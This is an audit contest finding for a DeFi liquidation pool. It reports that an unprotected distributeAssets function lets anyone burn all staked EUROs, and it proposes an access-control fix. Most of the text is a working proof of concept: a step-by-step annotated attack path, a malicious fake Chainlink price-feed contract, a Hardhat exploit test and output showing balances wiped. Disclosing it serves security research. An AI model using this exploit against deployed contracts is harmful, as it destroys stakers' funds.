Submission Details
Severity:
Lack of access control in `distributeAssets` function allows anyone to burn all EUROs in the pool
Summary
LiquidationPool.distributeAssets function performs important calculations on stakers' balances. Some crucial calculations utilize arguments provided by the caller. But the function doesn't implement any access control mechanism, which allows anyone to call the function and commit destructive actions on the protocol.
Issue Details
LiquidationPool.distributeAssets function expected to be called by LiquidationPoolManager.runLiquidation during vaults liquidations, to distribute assets (from liquidated vault) among stakers(and protocol).
Both functions don't implement any access control mechanism. For runLiquidation function it's acceptable, because it has only single parameter, which is properly validated. And, as I suppose, access control omitted for distributeAssets because developers assumed that since this function requires some token approvals and ETH transferred, no one will profit from calling it.
But, due to the fact that all important variables, involved in calculations, taken from the arguments, and function's logic pretty complicated, it's possible to craft a payload which results in complete wipe of all EUROs staked in the pool.
Impact
EUROs tokens for all stakers will be burned, regarding of their balance, and no rewards received.
EUROs token destabilized.
Attacker has no profit in assets directly, but (perhaps) can profit from EUROs price fluctuations.
Almost zero cost and no pre-conditions required for exploit, except some EUROs being staked in the pool.
PoC
Here I represent the vulnerable function with very detailed comments on how to achieve the most destructive logic path:
206: // @audit The most tricky path with payload is to send only ETH in "_assets",
207: // so we can bypass a lot of nasty validation.
208: // We will send the following Asset: {
209: // token: { symbol: bytes32(0), addr: address(0), dec: 18, clAddr: address(MaliciousChainlink), clDec: 8 }
210: // amount: 1000,
211: // }
212: function distributeAssets(
213: ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC
214: ) external payable {
215: consolidatePendingStakes();
216: (,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
217: uint256 stakeTotal = getStakeTotal();
218: uint256 burnEuros;
219: uint256 nativePurchased;
220:
221: // @audit We will iterate over all holders...
222: for (uint256 j = 0; j < holders.length; j++) {
223: Position memory _position = positions[holders[j]];
224: uint256 _positionStake = stake(_position);
225:
226: // @audit ... who has some TST or EUROs deposited
227: if (_positionStake > 0) {
228: // @audit Iterate over single ETH Asset
229: for (uint256 i = 0; i < _assets.length; i++) {
230: // @audit Attacker fully controls "asset"
231: ILiquidationPoolManager.Asset memory asset = _assets[i];
232: if (asset.amount > 0) {
233: // @audit Attacker fully controls "assetPriceUsd" through "asset".
234: // "assetPriceUsd" is extremely big number
235: (,int256 assetPriceUsd,,,) =
236: Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
237: // @audit Attacker will make "_portion" extremely low
238: uint256 _portion = asset.amount * _positionStake / stakeTotal;
239: // @audit And "costInEuros" extremely large
240: uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec)
241: * uint256(assetPriceUsd) / uint256(priceEurUsd)
242: * _hundredPC / _collateralRate;
243: // @audit We will enter this statement due to "costInEuros" extremely large number
244: if (costInEuros > _position.EUROs) {
245: _portion = _portion * _position.EUROs / costInEuros;
246: costInEuros = _position.EUROs;
247: }
248: // @audit Since "costInEuros == _position.EUROs", all position's EUROs will be wiped out
249: _position.EUROs -= costInEuros;
250: // @audit "_portion" will be "0"(thanks to rounding to "0" at line 245), no rewards
251: rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
252: // @audit Will burn it later
253: burnEuros += costInEuros;
254: // @audit Entering this block with "_portion == 0"
255: if (asset.token.addr == address(0)) {
256: nativePurchased += _portion;
257: } else {
258: IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
259: }
260: }
261: }
262: }
263: // @audit Updating holder's position with empty EUROs
264: positions[holders[j]] = _position;
265: }
266: // @audit Burn all EUROs, from all holders(stakers)
267: if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
268: // @audit Will bypass internal logic in this function because "token.symbol == bytes32(0)"
269: returnUnpurchasedNative(_assets, nativePurchased);
270: }
271: }
Here is a helper contract with fake Chainlink price feed used in test case:
diff --git a/contracts/utils/MaliciousChainlink.sol b/contracts/utils/MaliciousChainlink.sol
new file mode 100644
--- /dev/null (date 1704377002424)
+++ b/contracts/utils/MaliciousChainlink.sol (date 1704377002424)
+// SPDX-License-Identifier: UNLICENSED
+
+pragma solidity 0.8.17;
+
+contract MaliciousChainlink {
+ function latestRoundData() external pure returns (
+ uint256 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound
+ ) {
+ int256 dec = 10 ** 8;
+ int256 price = 1e32 * dec;
+
+ return (0, price, 0, 0, 0); // 1 ETH = 1e32 USD
+ }
+}
Test case:
diff --git a/test/liquidationPool.js b/test/liquidationPool.js
--- a/test/liquidationPool.js (revision c12272f2eec533019f2d255ab690f6892027f112)
+++ b/test/liquidationPool.js (date 1704377779462)
const { ethers } = require("hardhat");
const { BigNumber } = ethers;
const { mockTokenManager, DEFAULT_COLLATERAL_RATE, TOKEN_ID, rewardAmountForAsset, DAY, fastForward, POOL_FEE_PERCENTAGE, DEFAULT_EUR_USD_PRICE } = require("./common");
+const assert = require("assert");
describe('LiquidationPool', async () => {
let user1, user2, user3, Protocol, LiquidationPoolManager, LiquidationPool, MockSmartVaultManager,
});
});
- describe('increase position', async () => {
- it('allows increasing position by one or both assets', async () => {
- const balance = ethers.utils.parseEther('5000');
- const tstVal = ethers.utils.parseEther('1000');
- const eurosVal = ethers.utils.parseEther('500');
+ it.only('Allows anyone to burn all EUROs in the pool', async () => {
+ // Prepare stakers data
+ const TSTDecimals = await TST.decimals();
+ const EUROsDecimals = await EUROs.decimals();
+ const user1TSTStake = ethers.utils.parseEther('1000');
+ const user1EUROsStake = ethers.utils.parseEther('1000');
+ const user2TSTStake = ethers.utils.parseEther('500');
+ const user2EUROsStake = ethers.utils.parseEther('500000');
+
+ // Setup attacker
+ const [attacker] = await ethers.getSigners();
+ const EthUsdFeed = await (await ethers.getContractFactory('MaliciousChainlink')).deploy();
+
+ // Mint initial tokens for stakers
+ await TST.mint(user1.address, user1TSTStake);
+ await TST.mint(user2.address, user2TSTStake);
+ await EUROs.mint(user1.address, user1EUROsStake);
+ await EUROs.mint(user2.address, user2EUROsStake);
+
+ // Approve pool for TST, so we can deposit assets
+ await TST.connect(user1).approve(LiquidationPool.address, user1TSTStake);
+ await TST.connect(user2).approve(LiquidationPool.address, user2TSTStake);
+ await EUROs.connect(user1).approve(LiquidationPool.address, user1EUROsStake);
+ await EUROs.connect(user2).approve(LiquidationPool.address, user2EUROsStake);
+
+ // Adding pending positions
+ await LiquidationPool.connect(user1).increasePosition(user1TSTStake, user1EUROsStake);
+ await LiquidationPool.connect(user2).increasePosition(user2TSTStake, user2EUROsStake);
+
+ // Advance in time(1d), so our pending stakes can migrate to a Position and start collecting fees
+ await network.provider.send("evm_increaseTime", [86_500]);
+
+ // Check pool balance
+ let poolEUROs = await EUROs.balanceOf(LiquidationPool.address).then(balance =>
+ ethers.utils.formatUnits(balance, EUROsDecimals));
+ console.log(`> Pool initial balance: EUROs=${poolEUROs}`)
+
+ // Check initial state of position for user1
+ let {_position: position1, _rewards: rewards1} = await LiquidationPool.position(user1.address);
+
+ let user1TST = ethers.utils.formatUnits(position1.TST, TSTDecimals);
+ let user1EUROs = ethers.utils.formatUnits(position1.EUROs, EUROsDecimals);
+ let user1ETHReward = rewardAmountForAsset(rewards1, 'ETH');
+
+ console.log(`> user1 initial position: TST=${user1TST}, EUROs=${user1EUROs}, ETHReward=${user1ETHReward}`);
+
+ // Check initial state of position for user2
+ let {_position: position2, _rewards: rewards2} = await LiquidationPool.position(user2.address);
+
+ let user2TST = ethers.utils.formatUnits(position2.TST, TSTDecimals);
+ let user2EUROs = ethers.utils.formatUnits(position2.EUROs, EUROsDecimals);
+ let user2ETHReward = rewardAmountForAsset(rewards2, 'ETH');
+
+ console.log(`> user2 initial position: TST=${user2TST}, EUROs=${user2EUROs}, ETHReward=${user2ETHReward}`);
+
+ // Start exploitation
+ console.log("\n~ Start exploit");
+
+ const overvaluedEthAssetToDistribute = {
+ token: {
+ symbol: ethers.constants.HashZero, // Empty "symbol" allows to bypass returning "unpurchased" ETH to LiquidationPoolManager
+ addr: ethers.constants.AddressZero, // Mark asset as "NATIVE"
+ dec: 18,
+ clAddr: EthUsdFeed.address,// Fake price feed (1 ETH = 1e32 USD)
+ clDec: 8,
+ },
+ amount: 1e3, // Can use any number. ETH will not be spent anyway. Just need to coordinate this value with price
+ };
+ const assets = [overvaluedEthAssetToDistribute];
+ const collateralRate = 1;
+ const hundredPC = 1;
+
+ // Send malicious payload to unprotected function
+ await LiquidationPool.connect(attacker).distributeAssets(assets, collateralRate, hundredPC);
+ console.log("~ Complete exploit\n");
+
+ // Check state after attack
+
+ // Check pool balance
+ poolEUROs = await EUROs.balanceOf(LiquidationPool.address).then(balance =>
+ ethers.utils.formatUnits(balance, EUROsDecimals));
+ console.log(`> Pool attacked balance: EUROs=${poolEUROs}`);
+ // Check user1 position
+ ({_position: position1, _rewards: rewards1} = await LiquidationPool.position(user1.address));
+
+ user1TST = ethers.utils.formatUnits(position1.TST, TSTDecimals);
+ user1EUROs = ethers.utils.formatUnits(position1.EUROs, EUROsDecimals);
+ user1ETHReward = rewardAmountForAsset(rewards1, 'ETH');
+
+ console.log(`> user1 attacked position: TST=${user1TST}, EUROs=${user1EUROs}, ETHReward=${user1ETHReward}`);
+
+ // Check user2 position
+ ({_position: position2, _rewards: rewards2} = await LiquidationPool.position(user2.address));
+
+ user2TST = ethers.utils.formatUnits(position2.TST, TSTDecimals);
+ user2EUROs = ethers.utils.formatUnits(position2.EUROs, EUROsDecimals);
+ user2ETHReward = rewardAmountForAsset(rewards2, 'ETH');
+
+ console.log(`> user2 attacked position: TST=${user2TST}, EUROs=${user2EUROs}, ETHReward=${user2ETHReward}`);
+
+ assert(poolEUROs === "0.0");
+ assert(user1EUROs === "0.0");
+ assert(user2EUROs === "0.0");
+ expect(user1ETHReward).to.equal("0");
+ expect(user2ETHReward).to.equal("0");
+ });
+
+ describe('increase position', async () => {
+ it('allows increasing position by one or both assets', async () => {
+ const balance = ethers.utils.parseEther('5000');
+ const tstVal = ethers.utils.parseEther('1000');
+ const eurosVal = ethers.utils.parseEther('500');
await TST.mint(user1.address, balance);
await EUROs.mint(user1.address, balance);
Test output:
> Pool initial balance: EUROs=501000.0
> user1 initial position: TST=1000.0, EUROs=1000.0, ETHReward=0
> user2 initial position: TST=500.0, EUROs=500000.0, ETHReward=0
~ Start exploit
~ Complete exploit
> Pool attacked balance: EUROs=0.0
> user1 attacked position: TST=1000.0, EUROs=0.0, ETHReward=0
> user2 attacked position: TST=500.0, EUROs=0.0, ETHReward=0
✔ Allows anyone to burn all EUROs in the pool (201ms)
Recommendation
The solution is pretty straightforward. LiquiationPool already implements onlyManager modifier and protects some functions. There is no reason to not apply it for distributeAssets, to protect from unauthorized access.
Updates
Lead Judging Commences
hrishibhat over 1 year ago
Submission Judgement Published Assigned finding tags:
distributeAssets-issue
Prize pool breakdown
Total prize
20,000 USDC
nSLOC
60933 USDC / LOC
17,500 USDC
2,500 USDC
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.